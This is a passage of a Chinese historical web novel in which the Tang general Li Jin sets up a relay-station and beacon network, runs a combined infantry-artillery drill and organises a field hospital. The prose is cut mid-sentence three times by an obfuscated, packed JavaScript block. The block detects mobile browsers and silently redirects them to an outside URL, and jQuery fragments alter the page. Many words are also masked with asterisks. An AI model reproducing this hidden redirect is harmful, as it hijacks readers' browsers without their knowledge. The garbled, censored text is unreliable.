“第一,勘定新路线,增设驿站。结合此次进军路线与当地向导所知,在保证安全和水源的前提下,尽可能取直、平坦化驿道。驿站间距,在平原或丘陵地带,力争控制在三十至五十里内;在高原山地,也不得超过八十里。每处驿站,需常备良马若干,精干驿卒数名,并储备一定粮草饮水,以备不时之需。”
“第二,实行‘换马不换人’与‘分段接力’相结合。对于最紧急的军情,可派遣最精锐的信使,持特制通行金牌或令箭,沿途各驿站只换马匹,信使不休息,以最快速度直达目的地。对于一般军情文书,则可由各驿站驿卒接力传递,既保证速度,又不至于使单一信使过于疲惫而出错或倒毙途中。”
“第三,规范文书与密码。所有经由驿传系统传递的军情文书,必须使用统一的格式和简洁明了的语言,避免歧义。同时,为防泄密,重要军情需使用密码或暗语书写。本帅已令人编制一套简单易用的替代密码本,下发至各军主要将领及重要驿站。此外,所有文书需有专用印信封缄,注明等级(如‘六百里加急’、‘八百里加急’),沿途任何人不得阻拦耽误,违者军法从事。”
李瑾说到此处,目光扫过众人,最后落在那幅巨大的交通路线图上,声音斩钉截铁:“本帅已奏请朝廷,将此次西征所俘获的部分吐蕃贵族、头人及其部众,编为‘驿户’或‘烽子’,专司
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005859|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
修筑道路、建设并维护驿站烽燧之役。同时,从军中抽调精干低级军官与老兵,负责训练和管理这些驿户烽子,并作为核心骨干驻守关键驿站烽燧。此项工程,由黑齿常之将军总领,王方翼将军协助,务必在大军班师前,将从逻些城到吐谷浑故地的主干驿道与烽燧线路初步贯通!”
“末将遵命!”黑齿常之和王方翼肃然出列领命。他们都明白,这看似是工程劳役,实则是巩固西域统治、保障军事行动的根本大计。一条畅通高效的信息与补给通道,其价值绝不亚于十万大军。**
“大总管,”薛仁贵若有所思地指着沙盘上一些偏远区域问道,“如吐蕃西部、西域南道一些崇山峻岭或沙漠戈壁之地,修筑驿道与烽燧极为困难,且维护成本极高。若是这些地方有警,如何及时传递?**”
“薛帅所虑周全。”李瑾点头,“对于这些地方,则需倚重当地归附部落与商队。可遴选忠诚可靠的部落首领或大商贾,授予其‘驿丞’或‘察情使’之类的虚衔,令其部众或商队在往来之时,担负起传递消息、提供情报的职责。朝廷可给予其税收减免、通行便利等优待。同时,军中也可专门训练一支擅长山地、沙漠行走的轻装斥候或‘飞骑’部队,配备最好的向导和牲畜,专司这些艰险之地的情报传递与侦察。**”
他停顿了一下,加重语气道:“此套新的烽燧驿传系统,不仅是军事工程,更是政治与经济命脉。它将像人体的血脉神经一样,将大唐的威权与文化,将长安的政令与物资,更快速、更有力地输送到西域的每一个角落。同时,也能将西域的物产、情报乃至威胁,及时反馈回中枢。此乃真正的千里眼、顺风耳,亦是我大唐经略西域的根基所在。”
众将闻言,无不心潮澎湃。他们不仅看到了一套更先进的军事通信体系,更看到了一张以逻些城和安西四镇为节点,辐射整个西域的控制与治理大网,正在李瑾的谋划下徐徐展开。这张网,将比刀剑和火炮,更为深入而持久地保障大唐在这片土地上的利益。**
随着李瑾的命令下达,数以万计的吐蕃俘虏和归附部众,在唐军的监督和组织下,开始了浩大的工程。一条条道路被修缮拓宽,一座座新的驿站和烽火台在关隘要冲拔地而起。与此同时,一套更为严密高效的信号规则、文书传递流程和人员培训方案,也在紧锣密鼓地制定与推行。
逻些城头,新建的最高一处烽火台上,试燃的狼烟笔直升上高原湛蓝的天空。数十里外的另一座烽火台上,守候的士卒看到烟柱,立刻点燃了自己面前的柴堆。一道道烟柱接力般向东方延伸,仿佛一条无形的纽带,将这片新定的高原,与遥远的长安,紧紧联系在了一起。烽火相继,军情瞬达,这便是大唐意志在西陲的最直接延伸。
第164章 步炮协同进
烽燧驿传的规划方兴未艾,逻些城外的河谷地带,另一场更贴近实战的变革已在紧锣密鼓地进行。数日前,李瑾便下令,在逻些城东面约三十里处,选定了一片开阔的河谷地作为新式战法的实兵演练场。此处地势平缓,略有起伏,中间有溪流穿过,两侧是低矮的丘陵,既能模拟平原野战,又可演练对据守高地的攻击,正是绝佳的练兵场所。
这日清晨,天光未大亮,演练场周边已是旌旗招展,人喊马嘶。参与演练的神策军前锋、中军、左虞候、右虞候等各部,共计步骑一万二千人,已按照预案进入指定区域。与以往校场点兵、阵列操演不同,此次演练的空气中,弥漫着一股硝烟与钢铁混合的独特气息,以及一种压抑着的、跃跃欲试的兴奋。
演练场北侧一处稍高的土坡上,搭起了临时的观演台。李瑾身着常服,与薛仁贵、郭待封、黑齿常之、王方翼、阿史那道真等一众高级将领凭栏而立。他们身后,还有各军中级将领、参谋以及部分表现突出的队正、火长,所有人都屏息凝神,望向下方正在展开的庞大阵型。
“大总管,”薛仁贵抚着花白的胡须,目光如鹰隼般扫过下方正在紧张布置的炮兵阵地,“此番演练,规模空前,**炮弹所耗亦是巨万。老夫听闻,朝中已有御史对西征耗费颇有微词,尤其是这火器之用,靡费甚巨……”
李瑾神色平静,目光却锐利地落在那些被骡马拖拽进入阵地的黝黑炮身上:“薛帅,非常之功,必待非常之器,亦需非常之费。昔日诸葛武侯制木牛流马,所费岂在少数?然其利在千秋,保蜀汉粮道数十年畅通。今日之火炮,便是破敌国、定边疆的‘国之重器’。些许耗费,若能换得我唐军儿郎少流血,能换得边疆数十年太平,能换得丝路商旅安然往来,税赋源源不绝,孰轻孰重?”
他顿了顿,声音转冷:“至于朝中那些只知空谈、不识兵事的言官,待我等献上吐蕃赞普的降表,献上西域诸国重新纳贡的国书,献上丝路岁入倍增的账册时,他们自然便会闭嘴。功业,从来不是省出来的,是打出来的!”
这番话掷地有声,周围将领无不凛然,心中那一丝因耗费巨大而产生的犹疑也烟消云散。是啊,若能以雷霆之势扫平边患,开拓疆土,些许钱粮损耗又算得了什么?
此时,下方阵型已初步布置完毕。演练的想定是:模拟敌军(由部分吐蕃降卒和唐军辅兵扮演,身着与唐军迥异的杂色服饰)约八千人,据守前方一道东西走向、长约两里的缓坡及坡后的一片石木混合的简易营寨。敌军阵前还布置了拒马、鹿砦等障碍,模拟坚守待援或负隅顽抗之敌。
而唐军方面,扮演进攻方。其核心作战序列,正是此次演练的重点——步炮协同集群。
只见唐军阵前约四百步(约六百米)处,二十门新式野战青铜炮(其中十门为此次西征随军带来的,另十门是攻克逻些城后,利用吐蕃匠作坊紧急赶制、由随军工匠指导组装调试的)已被卸下炮车,炮口昂起,黑洞洞地指向敌军阵地。每门炮周围,都有七八名炮手正在做最后的检查:测量距离和角度(使用了李瑾简单提点、由工匠琢磨出的简易象限仪和测距杆),清理炮膛,搬运药包和实心铁弹或**(内部填装小铁珠、碎石,用于近距离面杀伤)。另有专门的**车停在稍后方,由辅兵严密看守。
炮兵阵地后方约二百步,是此次进攻的矛头——三个营,共计一千五百名神策军精锐步兵。他们并未如传**阵般列成紧密的方阵,而是以“营”为单位,形成了三个前后错落、左右略有间隔的进攻梯队。最引人注目的是,每个营的最前方,都有一个约五十人的特殊队列——**手队。他们身披轻甲,背负火绳枪(一种改进后的火门枪,加装了简单的瞄准照门和更稳定的枪架,使用定装**包和**),腰间挂着**壶、弹丸袋和引火用的火折子。虽然装备依旧简陋,射程、精度和射速都远不能与后世的**相比,但整齐的队列和森然的枪口,已透出一股迥异于**的肃杀之气。
**手身后,是手持**、横刀、盾牌的传统步兵,他们队形相对松散,以便在冲锋时能迅速展开。再往后,是两个营的骑兵,分别部署在步兵集群的两翼稍后位置,随时准备进行侧翼包抄或追击。
阿史那道真看着下方那泾渭分明又紧密联系的阵型,尤其是那黑洞洞的炮口,忍不住低声道:“大总管,这火炮威力虽大,然装填缓慢,发射时声震四野,烟尘弥漫。步卒紧随其后,万一炮击未停或敌骑趁我炮击间隙突袭,岂不危险?且这炮阵置于阵前,若敌军有精锐骑射手或敢死之士冒死突阵,毁我火炮,如之奈何?”
这个问题也是许多将领心中的疑虑。火炮是厉害,但如何与灵活的步兵、骑兵配合,如何在保护这珍贵“重器”的同时发挥其最大威力,大家都还在摸索。
李瑾微微一笑,并不直接回答,而是对身旁的传令官点了点头。传令官立刻举起一面红色令旗,奋力挥动。
“呜——呜——呜——”
低沉的号角声瞬间传遍演练场。这是演练开始的信号。
几乎在号角响起的同时,炮兵阵地指挥官(一名因精通算术和测量而被李瑾破格提拔的年轻校尉)手中小旗狠狠劈下。
“预备——放!”
“轰轰轰轰——!”
刹那间,地动山摇!二十门火炮次第怒吼,喷吐出炽烈的火光和浓密的灰白色硝烟。巨大的轰鸣声即使是在数里之外的逻些城头也能隐约听见,观演台上的许多将领虽是久经沙场,也被这齐射的声势震得心头一凛。战马嘶鸣,不少未曾经历过炮击的辅兵扮演的“敌军”甚至出现了下意识的骚动。
实心铁弹划破空气,带着凄厉的呼啸,狠狠砸向四百步外的“敌军”阵地。有的炮弹直接命中缓坡,溅起大片的泥土草皮;有的越过坡顶,砸进后方的“营寨”,将模拟帐篷和栅栏的木架打得粉碎;更有几发运气极佳的炮弹,在坡面上弹跳起来,形成了恐怖的跳弹,在模拟的“敌军队列”中犁出了数道血肉模糊的空缺——当然,这只是标记,实际无人,但预设的草人、木靶被成片击倒、破碎的景象,已足够触目惊心。
第一轮齐射过后,炮兵阵地上忙碌起来。炮手们用裹着湿布的炮刷清理炽热的炮膛,倒入清水降温,然后填入新的***包,塞进炮弹,用推杆压实,再调整角度……整个过程虽然经过反复训练,但仍需至少一分多钟。而这一分多钟,在战场上足以发生许多事情。
但唐军的演练显然考虑到了这一点。就在第一轮炮击的硝烟尚未完全散去,炮手们紧张装填的同时,步兵阵中响起了尖锐的哨音。
“**手,前进五十步,列阵!”
三个营的**手队,在各队正的口令和旗号指挥下,迅速而有序地向前小跑,在距离炮兵阵地约一百五十步、距离“敌军”阵地约二百五十步的位置重新列成三排横队。这个距离,已在大部分吐蕃弓箭的有效射程边缘,但对于改进后的火绳枪而言,已是可保证一定命中率的距离。
“第一排,预备——放!”
“砰砰砰砰……!”
比火炮沉闷许多但更加密集的爆响连成一片,前排**手同时开火,硝烟弥漫。虽然受限于火绳枪的精度,在二百多步距离上对单个目标的杀伤有限,但五十支**齐射形成的弹幕,对密集队形仍有不小的威慑。更重要的是,这连绵不断的**和硝烟,形成了一种持续的心理压力和火力压制,填补了火炮重新装填时的“火力空窗”。
就在**手进行第一轮齐射的同时,后方的传统步兵开始以散兵线向前缓缓推进,他们手持盾牌,猫着腰,利用地面的起伏和炮击、**射击造成的混乱与硝烟作为掩护,迅速接近“敌军”阵地。
此时,扮演敌军的部队也开始“反应”。按照预案,他们不能坐以待毙。只见“敌军”阵中旗帜摇动,约莫五百“骑兵”(实为轻装的唐军骑兵扮演)从两翼奔出,试图绕开正面恐怖的炮火和**弹幕,袭击唐军步兵的侧翼或直接冲击炮兵阵地。
“两翼骑兵,出击拦截!炮兵,换**,目标敌骑!”观演台上的命令通过旗语和号角迅速下达。
部署在步兵两翼的唐军真正精锐骑兵立刻呼啸而出,人数相当,但装备、训练和士气远胜“敌军”,迅速迎了上去,在战场侧翼展开了激烈的骑战模拟。而炮兵阵地,在完成了对固定目标的第二轮实心弹轰击后(这次重点轰击“敌军”营寨和疑似指挥所的位置),部分火炮在军官的指挥下,迅速调整炮口,降低了射角,炮手们换上了装有大量小铁珠的**。
“轰!轰!轰!”
数门换上**的火炮再次开火,这次射程更近,约二百步左右,目标是正在试图迂回靠近的那部分“敌骑”。虽然实弹演练用的是特制的、削减了装药和减少了铁珠数量的“训练弹”,但那一片爆开的烟尘和其中夹杂的少数真实小铁珠(用于检验散布效果),还是让扮演敌骑的士兵们真切感受到了被**覆盖的恐怖——战马受惊,队形瞬间紊乱,冲锋势头为之一滞。
就在“敌骑”受挫、正面又被**持续压制的当口,唐军步兵主力已经推进到了距离“敌军”前沿障碍物仅百步之遥。此时,**手队已经完成了数轮轮替射击(前排射击后退至后排装填,后排上前射击),持续保持着火力压制。而炮兵,在进行了数轮压制射击后,大部分火炮开始延伸射击,轰击“敌军”纵深和两翼,阻止其预备队增援或撤退。
“破障队,上!”
步兵阵中冲出一队队手持巨斧、大刀、挠钩的健卒,在盾牌手的掩护下,冒着“敌军”模拟射来的稀疏箭矢(用的是去了箭头的训练箭),迅速清理阵前的拒马、鹿砦。与此同时,部
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011868|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
分步兵开始向两翼散开,做出包抄的态势。
“敌军”似乎终于承受不住正面火炮的持续轰击、**的连绵不绝的打击,以及步兵越来越近的压迫和两翼骑兵的失利,开始出现“动摇”。中军旗帜开始向后移动,部分“士卒”开始向后溃退。
“总攻!全军突击!”
激昂的战鼓声擂响,号角长鸣。已经清理开部分通道的唐军步兵,在**手最后一次齐射的硝烟掩护下,发出了震天的呐喊,挺起**,挥动横刀,如同决堤的洪水般涌过障碍物缺口,向“敌军”缓坡阵地发起了最后的冲锋。两翼骑兵也奋力击退了扮演的“敌骑”,开始从侧翼向“敌军”主阵地挤压。
扮演“敌军”的部队按照预案,在象征性地抵抗了几下后,便“全面溃败”,向预设的后方撤退区域逃去。唐军步骑协同追击,演练进入清扫战场阶段。
整个进攻过程,从第一声炮响到“敌军”溃退,不过两刻钟(约半小时)。观演台上,一片寂静。许多老将,包括薛仁贵在内,都久久无语,只是死死盯着下方硝烟逐渐散去的演练场,盯着那虽然只是模拟、却已展现出惊心动魄威力的进攻浪潮。
“步为铁砧,炮为重锤,骑为利刃……”薛仁贵长吁一口气,声音带着难以言喻的复杂情绪,既有震撼,也有一丝老兵面对全新战争模式的怅惘,“炮火先行,犁庭扫穴,破其胆魄,毁其工事;步卒继进,**攒射,持续压制,清障破阵;骑兵掠翼,遮护侧后,追亡逐北……环环相扣,步步杀机。这……这已非两军对垒,搏命厮杀,倒像是……像是一台精密的器物,在按照既定之法,碾碎面前的一切阻碍。”
郭待封也感慨道:“以往破此等倚仗地利、严阵以待之敌,少不得要付出惨重伤亡,反复拉锯,甚至围困耗之。如今看来,在这等步炮协同之下,敌阵再坚,也难挡雷霆一击。尤其是火炮延伸轰击其纵深,使其预备队无法上前,溃兵难以收拢,败局便再难挽回。”
黑齿常之则更关注细节:“火炮与步卒的配合时机是关键。炮击太早,则敌军有暇调整;太晚,则步卒冲锋易遭敌箭矢反击。**手于火炮装填间隙上前压制,此策极妙,保持了火力不断。只是**装填亦慢,且惧风雨,仍需与**手配合方为万全。”
王方翼指着下方正在收拢队形的部队道:“此战法对士卒训练、号令统一、各部协同要求极高。炮手需算准距离、时机;步卒需胆大心细,能在炮火硝烟中辨明方向,听从号令,及时跟进;骑兵需把握出击火候……非经年严格操练、将领悉心调教不可。然一旦练成,确是可怖。”
李瑾听着众将的议论,心中甚慰。他知道,让这些经验丰富的老将接受新事物需要过程,而实战演练的效果胜过千言万语。
“诸位将军所见甚是。”他开口道,“步炮协同,乃至步、骑、炮、工(程)诸兵种协同,乃未来战阵之大势。其精髓,便在于‘协同’二字。如臂使指,令行禁止,将不同兵种之特长融为一炉,在恰当的时间、地点,形成压倒性的局部优势,从而以最小代价,换取最大战果。”
他走下观演台,来到刚刚结束演练、正在集结休整的部队面前。硝烟味尚未散尽,士卒们脸上还带着兴奋与疲惫,但眼神明亮,纪律严明。
“今日演练,尔等表现,已初具模样!”李瑾的声音在空旷的河谷中回荡,“然,尚有不足!炮队装填,仍可更快!步卒冲锋,与炮火掩护衔接,尚有迟疑!**手轮射,节奏可更紧凑!骑兵包抄,时机可更精准!”
“记住,战场之上,生死一瞬!你快一分,敌便慢一分!你准一分,敌便乱一分!从今日起,各营各部,需针对今日演练所暴露之问题,加强操练!尤其是步卒与炮队、步卒与**手之间的协同号令、行进节奏,必须练到闭着眼也能配合无间!”
“诺!”上万将士齐声应和,声震四野。
李瑾转身,对跟随下来的众将道:“今日只是开始。接下来,我们还需演练山地步炮协同、夜间火炮运用、步炮协同对抗骑兵冲击、以及……如何在我军步炮协同攻击下防守等各种情况。要将每一种可能遇到的情境,都在演练中想到、练到!”
他望着远处逻些城的方向,目光深邃:“吐蕃已降,然西域未靖,四方犹有虎狼。此等新式战法,便是我大唐未来开疆拓土、卫戍边疆的倚仗。望诸君与瑾同心,将这支兵马,练成真正的无敌雄师!”
“谨遵大总管将令!”众将轰然应诺,眼中燃烧着炽热的火焰。他们仿佛已经看到,在未来的某一天,这样一支将步、骑、炮完美融合的军队,将以无可阻挡之势,碾碎一切敢于阻挡在大唐面前的敌人。
河谷中风声猎猎,吹散了最后的硝烟,却吹不散唐军将士心中那刚刚被点燃的、对于全新战争艺术的渴望与信心。步炮协同的铁流,已然开始奔腾。
第165章 救治伤兵营
步炮协同演练的硝烟方散,震耳欲聋的轰鸣与冲锋的呐喊似乎还在逻些河谷间隐隐回荡。然而,与演练场上激昂澎湃、追求毁灭性力量的气氛截然不同,在军营的另一隅——一片特意划出、位于上风处且靠近水源的安静区域,一种专注于“保存”与“修复”的力量,正在悄然凝聚、生长。
这里,便是李瑾下令筹建、并亲自定名为“伤兵营”的所在。与其说是“营”,不如说是一个初具雏形的野战医疗中心。数十顶宽敞的白色帐篷整齐排列,周围挖有排水沟渠,洒了石灰,空气中弥漫着淡淡的、有些刺鼻的醋和草药混合蒸煮的气味,与寻常军营汗味、皮革味、牲口味迥异。
此刻,最大的一顶帐篷内,气氛肃穆而专注。帐篷内部用布幔简单隔成数个区域,中央一片空地上,数名身着干净葛布衣物、以布巾蒙住口鼻的军医和助手,正围着一张由木板临时搭成、铺着厚布的长台。台上,一名在昨日步炮协同演练中不慎被拖曳火炮的骡马踩伤小腿的士兵,正咬着木棍,额上冷汗涔涔,却硬挺着没有惨叫出声。他的右小腿以一种不自然的角度弯曲着,肿胀发紫,显然是骨折了。
主持救治的,是一位年约四旬、面容清癯的军医,姓秦,名兆和,原是太医署的一名医官,因医术扎实且不惧远行,被选拔随军。他此刻眉头微皱,仔细检查着伤处,又用手轻轻触摸按压周围。
“胫骨断裂,幸而未刺破皮肉,是为闭合性骨折。”秦医官沉声道,声音透过蒙面布显得有些闷,“若依往常,无非是以木板树枝简单固定,能否愈合,愈合后是否跛足,全凭天意与个人体质。”
旁边观摩的,除了另外几位军医,还有李瑾特意要求前来学习的几名年轻识字、心思灵巧的士卒——他们将被培养成专门的“护兵”。李瑾本人,也在薛仁贵等几位将领的陪同下,站在稍远处静静观察。薛仁贵看着那伤兵扭曲的小腿,嘴角微微抽动,他一生见多了战场上各种惨烈创伤,比这严重十倍、百倍的都有,但每次见到,心头仍不免沉重。他知道,以往这样的伤,即便不死于后续的伤口溃烂发热(他们称之为“金创疔”),也极大概率会落下残疾,从此退出行伍,甚至丧失生计。
“然则,秦医官,大总管所授之‘复位固定’之法,果真有效乎?”一位较为年长的刘姓军医忍不住低声问道,语气中带着怀疑与谨慎。他们行医多年,遵循的多是前人经验与方书所载,对于李瑾提出的诸如“清洁创口”、“复位对齐”、“牢固固定”、“定期换药观察”等一套清晰流程,虽觉新奇,却也忐忑。
秦医官没有直接回答,而是看向李瑾。李瑾微微颔首。
得到示意的秦医官深吸一口气,对伤兵温言道:“莫怕,且忍一忍。此法若成,汝之腿或有保全希望,日后纵不能如常奔袭,寻常行走当可无碍。”说罢,他示意两名强壮的助手上前,一人稳住伤兵大腿,一人握住其脚踝。
“吾数到三,便行牵引复位。一、二、三!”
随着秦医官低喝,两名助手同时稳稳发力,沿着腿骨长轴方向缓缓牵引。伤兵浑身剧震,闷哼一声,口中木棍几乎咬断,额头青筋暴起。秦医官全神贯注,双手在伤处仔细摸索、对合,凭借多年经验感受着骨茬的移动。片刻,他紧绷的神情略微一松:“对接上了。”
接下来,助手迅速用煮过晾干的洁净布巾擦拭伤腿周围皮肤,然后取来特制的、内侧衬有软布的杉木夹板(李瑾根据后世理念粗略设计,由随军工匠试制),仔细地贴合小腿前后左右,再用煮洗过的干净布条层层缠绕固定,松紧适度,既不能影响血脉流通,又必须保证牢固。最后,在脚踝和脚趾处留下观察口,以便检查血运。
整个过程中,秦医官和助手们的手、所用布巾、夹板,乃至伤兵伤处周围的皮肤,都经过了以醋和盐水为主的简单清洁处理。这是李瑾反复强调的“洁净”原则,尽管此时无人知晓微生物的存在,但李瑾以“秽物入创,易致脓毒发热”为由,强行推行了这一套清洁流程。
固定完毕,秦医官又开了一剂活血化瘀、促进骨骼生长的内服汤药方子,嘱咐护兵按时煎煮喂服,并让伤兵绝对卧床,伤腿垫高。
“能否保全,且看十日之内。需密切留意其有无发热、伤处有无异常红肿热痛、指尖是否青紫麻木。若有异状,即刻来报。”秦医官仔细叮嘱负责照看这一区域的护兵,并在挂在帐篷柱子上的一块木板上,用炭笔记录下该伤兵的编号、伤势、处理方式与日期。这也是李瑾的要求:记录病案,以便总结和改进。
处理完这例骨折,秦医官又带着众人巡视其他帐篷。一处帐篷里,几名因演练中搬运火炮碰伤、刮伤的士卒,正由护兵用煮过的盐水清洗伤口,然后敷上由随军医官调配的、以三七、白及、蒲黄等草药为主的止血生肌散,再用干净布条包扎。
另一顶帐篷则专门收治发热、腹泻的普通病患,与伤患隔开,以防“病气”相传。还有一顶较小的帐篷,门口挂着“处置”的牌子,里面传来压抑的**。秦医官神色凝重地走进去,李瑾等人停在门口。只见里面一名士卒手臂上有道较深的撕裂伤,创口污秽,已开始红肿。秦医官检查后,摇了摇头,对身旁的助手低声道:“脓已成,腐肉渐生,恐将蔓延。按大总管所示应急之法,准备‘清创’。”
所谓的“清创”,是李瑾在无法提供真正无菌手术和抗生素时代,提出的无奈之举。只见秦医官用一柄在火上反复灼烧过的小刀,动作极快地将伤口表面明显坏死的腐肉剔除,然后用煮过放温的盐水反复冲洗伤口,最后敷上具有轻微解毒消肿作用的黄连、大黄等调制的高浓度药膏,包扎得稍微松散以便引流。整个过程,伤兵痛苦不堪,但秦医官手法稳准快,显然已非第一次操作。李瑾知道,这士卒能否挺过去,一半靠这简陋的清创,一半还得靠他自身的抵抗力和运气。但比起以往只是敷上草药听天由命,这已是极大的进步。
巡视完毕,众人来到伤兵营边缘一处专门搭建的凉棚下。这里摆放着几个大陶缸,里面浸泡着准备用作绷带的麻布;几个炉子上煎着药,药香弥漫;还有几名辅兵在军医指导下,按方称量、研磨药材。
“大总管,”秦医官洗净手,走过来对李瑾拱手,脸上带着疲惫,眼中却有光,“按您吩咐的这套法子,这几日收治的演练轻伤员三十七人,病患二十一人。除两人旧有宿疾、一人伤势过重送来已晚而不治,其余目前情形尚算稳定。尤其是骨折、伤口洁净者,发热化脓的迹象较以往同样伤势者,确乎少了许多。”
李瑾点点头,神色并无太多欣喜,反而更显凝重:“秦医官与诸位辛苦了。此法初行,能见微效,已属不易。然此非长久之计,更非治本之策。”
他环视在场众将和军医,沉声道:“诸位可见,以往征战,阵亡者或许三成,而伤后不治或因伤致残者,恐亦不下三成。许多英勇士卒,并非死于战场刀剑,而是亡于战后伤创溃烂、发热、邪毒内侵!此非天意,实乃人事未尽!”
薛仁贵等人默然。他们比谁都清楚,一场大战下来,营中伤兵的哀嚎和日渐增多的尸体,对士气是多么沉重的打击。许多老兵不怕战死沙场,却怕受伤后那种缓慢而痛苦的死亡。
“故此,瑾以为,欲建强军,非止于锋镝之利、甲胄之坚、阵法之妙,亦在于‘救死扶伤’之能!一名训练有素的老兵,其价值远超十名新卒。若能救其性命,保其肢体,令其愈后或可再战,或可归乡务农,于国于军,于士卒个人,皆善莫大焉!”
李瑾走到凉棚中央,声音清晰而坚定:“故此,本帅决意,于此番西征军中,正式设立‘军医营’之制,并颁行《战伤救治条令》!”
众人精神一振,知道这才是今日的重点。
“其一,确立层级救治。”李瑾开始阐述他的构想,“于各‘团’(约三百人)设‘救护队’,置精通急救包扎之护兵五至十人,由一名懂得正骨、止血、解毒的医士统领,携带基本救急药材,随军行动。其责在于战场初步止血、包扎、固定,并将重伤者迅速后送。”
“于各‘军’(约数千至上万人)设‘医疗所’,需有秦医官这般精通内外科之军医数名,护兵
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011869|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
二十至三十人。备有更多药材,可进行简单清创、骨折复位、处置常见病疫。选址需安全,近水源,避污秽。”
“于此,于大军行营或重要据点,”他指了指周围的帐篷,“设如眼前之‘伤兵营’,或称‘野战医院’。需有医术精湛之军医主持,可处理复杂创伤、施行必要之‘清创’甚至截肢之术,集中救治重伤员及疑难病患。此地需严格区分伤、病,防止交叉沾染。”
“其二,规范药材器械管理。”李瑾继续道,“所有军中药材,由行军长史司会同军医营统一采购、验收、储存、分发。建立账簿,杜绝克扣、滥用、以次充好。救护队、医疗所、伤兵营按需领取,定期核查。主要药材,如金疮药、止血散、正骨膏、清热解毒之剂,必须足量储备。另,所有用于接触创口之布巾、刀具,必须依规以沸水煮洗或火燎洁净。”
“其三,设立救护护兵之制。”他看向那几名正在认真学习记录的年轻士卒,“于各军选拔识文断字、胆大心细、仁厚耐烦之士卒,专司救护之事。其待遇等同精锐战兵,并需接受专门训练,熟记常见伤症处理之法、药材使用、包扎固定之术。此辈非杂役,乃救命之士,当受尊重。”
“其四,颁行《战伤救治条令》。”李瑾从亲兵手中接过一卷刚刚起草完毕的文书,“条令中明定:战场之上,凡见同袍受伤,在不妨碍军令前提下,皆有救助之责。救护队有优先通行、获取物资之权。任何士卒受伤,皆需第一时间得到初步处理。严禁抛弃伤员,违令者,斩!救治得力者,**行赏!”
“其五,重金延揽与培养军医。”他看向秦兆和等几位军医,“本帅已奏请朝廷,日后太医署需定期选派医官赴边军服务,积功可升迁。同时,于军中设立医士教**,由经验丰富之军医传授医术,特别是外伤急救、正骨、解毒等战场急需之术。凡有一技之长之郎中,愿入军籍者,优给俸禄,免其家赋役。”
一条条,一款款,清晰明确,构建起一个前所未有的、系统化的战场医疗救护体系框架。不仅薛仁贵等将领听得目光闪动,秦兆和等军医更是激动得手都有些颤抖。他们行医多年,何曾想过,医者之事,竟能被提升到与练兵、筹粮同等重要的战略高度?何曾想过,会有一套如此细致、强调规范与洁净的救治流程?
“大总管……此乃万千士卒之福,活人无数之仁政啊!”秦兆和声音有些哽咽,躬身长揖。他深知,这套法子若能推行下去,哪怕只做到五六成,也能让多少原本必死或必残的儿郎,有机会活着回到父母妻儿身边。
薛仁贵缓缓道:“古之名将,吴起为卒吮疽,故士卒乐死。然如大总管这般,建制立法,系统施救,将医者之事融入军国大计,老夫前所未闻。此非独仁心,更是远见!老兵不死,军魂不灭。能救一老兵归队,胜募十新兵。”
李瑾扶起秦兆和,对众人道:“此非瑾一人之功,亦非旦夕可就。制度虽立,推行尤难。需各营将领鼎力支持,需军医护兵尽心竭力,更需改变旧有观念——在吾军中,杀敌者为雄,救伤者亦为英杰!”
他目光扫过众人,最终落在那片整齐的白色帐篷上:“今日在此伤兵营,吾等所救,或仅数十百人。然此法若行之于天下诸军,则未来岁月,可活之将士,何止万千?此乃大功德,亦是大唐军威永固之基!望诸君与瑾共勉之!”
“谨遵大总管令!必竭尽全力,推行新制!”众将、军医、护兵齐声应诺,声虽不高,却充满了沉甸甸的决心。
夕阳的余晖洒在伤兵营白色的帐篷上,镀上一层温暖的金色。帐篷里,伤兵的**似乎都轻了些,空气中蒸煮药材的气味,也不再只是苦涩,仿佛带上了一丝生命的希望。在这里,没有震天的杀声,没有炫目的炮火,只有无声的忙碌、专注的眼神、以及对生命小心翼翼却坚定不移的守护。这,是另一种形式的战场,另一种形式的胜利。一支懂得珍视士卒生命的军队,其凝聚力和战斗力,必将远超那些视人命如草芥的对手。李瑾所推动的,不仅仅是一场医疗变革,更是在重塑这支军队的灵魂。
第166章 降服吐谷浑
逻些城的硝烟尚未散尽,唐军大胜吐蕃、赞普乞降的消息,已随着重新构建的驿传烽燧和李瑾有意放出的信使,像高原上骤起的狂风,迅速席卷了整个青藏高原,并向着更广阔的西域之地扩散。这阵风,吹散了长久以来笼罩在吐蕃周边诸多部族与小国头上的战争阴云,也带来了全新的、令人心悸的变革气息。
